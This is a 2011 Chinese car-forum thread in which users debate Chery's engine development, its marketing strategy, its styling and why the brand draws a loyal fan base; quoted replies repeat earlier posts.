{:3_89:}奇瑞在TG的弱项 发动机上下的功夫算是最狠的，也是自主里面比较早的。02年就有多达18款发动机产品家族体系的规划了。同时代的吉利还在夏利的底子上捣鼓呢，没一个远期规划的宣传。。。同时奇瑞也是成绩最多的。比吉利，BYD都早完成发动机的自主供应。。当别的自主品牌还在用1.6 2.0 2.4 沈阳三菱发动机，1.0 东安发动机的时候，奇瑞在发动机上已经转型成功了。。。吉利，BYD等其他自主品牌在发动机研发上没有奇瑞这么大投入，这么成体系。存在时间差。所以有粉丝也正常。。。
疯狂的伊万伊万 发表于 2011-3-10 21:51
可是, 骂他的也是最多的, 尤其是骂外形, 虽然我个人认为奇瑞的车也没多丑, 合资的车难看的也很多^^
可是, 骂他的也是最多的, 尤其是骂外形, 虽然我个人认为奇瑞的车也没多丑, 合资的车难看的也很多^^
不过想想奇瑞去年70万的销量大都是基于手动档，成绩真的是相当不错了。如果今年能突破自动档的制约，应该能爆发。
GNRWQ 发表于 2011-3-10 21:04
其实我觉得我们说的两码事……
我完全认同YTY，甚至崇拜他、甚至用自己的血汗钱尽自己所能支持他的事业。
但是，这和我BS他的市场策略团队没有关系，请注意啊，我说的是策略团队。
YTY一定有市场策略，但是很显然，他的策略在执行层面上完全变形了。
TB对付市场唯一的手段就是价格战，这个就是证据。
其实我觉得我们说的两码事……
我完全认同YTY，甚至崇拜他、甚至用自己的血汗钱尽自己所能支持他的事业。
但是，这和我BS他的市场策略团队没有关系，请注意啊，我说的是策略团队。
YTY一定有市场策略，但是很显然，他的策略在执行层面上完全变形了。
TB对付市场唯一的手段就是价格战，这个就是证据。
icosuyu 发表于 2011-3-10 22:28
这个策略制定到底是团队决策还是尹同学做主，我们也不知道。不过我不觉得奇瑞的市场团队非常糟糕，整体战略是对的，执行的有偏差；部分战术行动是出彩的，整体的配合是失分的。战略上，先从底盘，发动机，变速箱以及现在的车载电子搞起，紧盯新能源，同时开始着手重卡和客车，广度和深度兼而有之，个别车型如果只看销量的确是败笔，但是若从企业长远发展来看是早走比晚走好，走的跌跌撞撞比走的顺好。从近期曝光的大批拉皮车来看，前期的学费要开始回收了。战术上，G5的牛背和X5的达喀尔，姑且不论效果如何，都是大手笔，已经有了大厂的那种气度，国车里面就长城能相比。当然，全面突破全线出击也导致产品线太杂，个别失败产品影响形象等问题。希望今明两年进行梳理，辅之以变速箱发动机和拉皮的突破，应该能成功扭转形势。
这个策略制定到底是团队决策还是尹同学做主，我们也不知道。不过我不觉得奇瑞的市场团队非常糟糕，整体战略是对的，执行的有偏差；部分战术行动是出彩的，整体的配合是失分的。战略上，先从底盘，发动机，变速箱以及现在的车载电子搞起，紧盯新能源，同时开始着手重卡和客车，广度和深度兼而有之，个别车型如果只看销量的确是败笔，但是若从企业长远发展来看是早走比晚走好，走的跌跌撞撞比走的顺好。从近期曝光的大批拉皮车来看，前期的学费要开始回收了。战术上，G5的牛背和X5的达喀尔，姑且不论效果如何，都是大手笔，已经有了大厂的那种气度，国车里面就长城能相比。当然，全面突破全线出击也导致产品线太杂，个别失败产品影响形象等问题。希望今明两年进行梳理，辅之以变速箱发动机和拉皮的突破，应该能成功扭转形势。
GNRWQ 发表于 2011-3-10 22:45
兄弟TB厂的？
我们说的真不是一回事情，呵呵，算我没表达清楚吧。
我愿意拿血汗钱支持TB，但是我绝不认同你对TB市场执行团队的评价。
另外，大手笔的意思并不是花大价钱，如果有人认为牛背算一个成功的策划案，那只能说明我们对市场策划成功的判断标准太不一样了。
兄弟TB厂的？
我们说的真不是一回事情，呵呵，算我没表达清楚吧。
我愿意拿血汗钱支持TB，但是我绝不认同你对TB市场执行团队的评价。
另外，大手笔的意思并不是花大价钱，如果有人认为牛背算一个成功的策划案，那只能说明我们对市场策划成功的判断标准太不一样了。
icosuyu 发表于 2011-3-10 22:54
不是，只是兄弟在奇瑞搞发动机，从05年一直做到现在，所以很关注。
不是，只是兄弟在奇瑞搞发动机，从05年一直做到现在，所以很关注。
我说是大手笔，不是说花钱，而是敢为人之所不敢为。
真没想到安徽的汽车业还不错。。。
GNRWQ 发表于 2011-3-10 23:06
1、TB厂指的就是奇瑞啊，呵呵；
2、兄弟对市场的理解是典型的技术派的理解，我相信YTY也是这样；
3、我尊重一个认同团队的成员，因此我尊重你，也支持你的事业；
4、但是，你对一个有精神诉求的企业的市场行为的理解是错的，市场行为有若干目标，最浅的层面是影响销售，最深的层面传递品牌内涵，不管哪个层面，最终的结果一定指向利润最大化。如果奇瑞的有志之士们把“敢为人之所不敢为”的策划作为市场活动的诉求，并以之判断一个活动是否成功，显然，令我个人非常失望；
5、作为奇瑞控，我还是会继续买奇瑞的车，因为这是一群有民族理想的人造的车；但是，这群人完全可以做得更好。
如果有可能，我非常愿意更深入地聊聊这些话题。
1、TB厂指的就是奇瑞啊，呵呵；
2、兄弟对市场的理解是典型的技术派的理解，我相信YTY也是这样；
3、我尊重一个认同团队的成员，因此我尊重你，也支持你的事业；
4、但是，你对一个有精神诉求的企业的市场行为的理解是错的，市场行为有若干目标，最浅的层面是影响销售，最深的层面传递品牌内涵，不管哪个层面，最终的结果一定指向利润最大化。如果奇瑞的有志之士们把“敢为人之所不敢为”的策划作为市场活动的诉求，并以之判断一个活动是否成功，显然，令我个人非常失望；
5、作为奇瑞控，我还是会继续买奇瑞的车，因为这是一群有民族理想的人造的车；但是，这群人完全可以做得更好。
如果有可能，我非常愿意更深入地聊聊这些话题。
误解了,误解了, 我说的是我的兄弟在奇瑞搞发动机,不是我.
参考本田，本田在每个级别上只有一款车型，但是在每个级别的销量上都能排上前三。
icosuyu 发表于 2011-3-11 00:06
我还是会继续买奇瑞的车，因为这是一群有民族理想的人造的车；但是，这群人完全可以做得更好
说得好！
我还是会继续买奇瑞的车，因为这是一群有民族理想的人造的车；但是，这群人完全可以做得更好
说得好！
造汽 发表于 2011-3-11 08:34
谢谢老大夸奖
谢谢老大夸奖
惭愧,还没买奇瑞的车,目前是持匕待狗,希望悍虎的完善版本尽快上市,如果不能的话,就先买个M1 X1之类的买菜车开开.
我觉得恰恰是奇瑞这种敢为人所不敢为的草莽精神吸引了众多粉丝,尽管实事求是的讲他的车目前不是很出色,但是每次他们干的事情总是让人惊讶惊喜,充满期望和幻想.这一点,在新奇军上反映的很明显,没有几个汽车论坛里面会那么关注一个企业的未来车型和长期发展的,奇瑞算是领风气之先,和魅族的鸡王做法有点儿相似,区别在于一个是官方自发,一个是民间自发.
我觉得恰恰是奇瑞这种敢为人所不敢为的草莽精神吸引了众多粉丝,尽管实事求是的讲他的车目前不是很出色,但是每次他们干的事情总是让人惊讶惊喜,充满期望和幻想.这一点,在新奇军上反映的很明显,没有几个汽车论坛里面会那么关注一个企业的未来车型和长期发展的,奇瑞算是领风气之先,和魅族的鸡王做法有点儿相似,区别在于一个是官方自发,一个是民间自发.
奇瑞应该请个造型大师砰砰！ 发表于 2011-3-11 14:39
不必，奇瑞只要辞掉个“造型大师”就行了
不必，奇瑞只要辞掉个“造型大师”就行了
回复 22# GNRWQ
奇瑞是有不少粉丝，我觉得有多方面吧
奇瑞在自主乘用车耕耘时间长是一点，另外奇瑞造势唬住一些，加上尹总又喜好这口。
我想不外乎这三方面吧。
固投奇瑞这二年投了不少，手笔确实不小，但是成效如何还要后观。
奇瑞能否做大做强，乃至于从中国制造走向中国品牌，我觉得奇瑞心态还需要调整
别的不说，如果是从“技术导向型”转变“品质导向型”的话
我觉得更为实际可行。
奇瑞是有不少粉丝，我觉得有多方面吧
奇瑞在自主乘用车耕耘时间长是一点，另外奇瑞造势唬住一些，加上尹总又喜好这口。
我想不外乎这三方面吧。
固投奇瑞这二年投了不少，手笔确实不小，但是成效如何还要后观。
奇瑞能否做大做强，乃至于从中国制造走向中国品牌，我觉得奇瑞心态还需要调整
别的不说，如果是从“技术导向型”转变“品质导向型”的话
我觉得更为实际可行。